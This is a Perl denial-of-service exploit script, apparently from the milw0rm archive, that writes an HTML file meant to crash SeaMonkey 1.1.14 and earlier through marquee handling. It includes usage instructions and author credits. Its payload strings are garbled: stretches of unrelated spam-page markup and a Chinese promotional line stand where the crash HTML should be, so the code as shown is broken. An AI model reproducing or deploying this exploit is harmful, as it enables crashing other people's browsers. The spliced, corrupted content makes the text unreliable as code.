#!/usr/bin/perl # SeaMonkey <= 1.1.14 (marquee) Denial of Service Exploit # by athos - staker[at]hotmail[dot]it # tested on ubuntu 8.10 / slackware 12.2 # thanks to SirDark because he has tested on slackware my $data = undef; my $file = shift or &usage; exploit(); sub exploit { $data .= ""; $data .= "SeaMonkey <= 1.1.14 (marquee) Denial of Service Exploit"; $data .= "

    <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    "; $data .= "" x900; $data .= "

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频 "; open(FILE,'>',$file) or die('file error'); print FILE $data; close(FILE); } sub usage { print "\n+---------------------------------------------------------+\r". "\n| SeaMonkey <= 1.1.14 (marquee) Denial of Service Exploit |\r". "\n+---------------------------------------------------------+\r". "\nby athos - staker[at]hotmail[dot]it\n". "\nUsage\n". "\rperl $0 [file name]\n". "\rperl $0 crash.html\n"; exit; } # milw0rm.com [2009-01-06]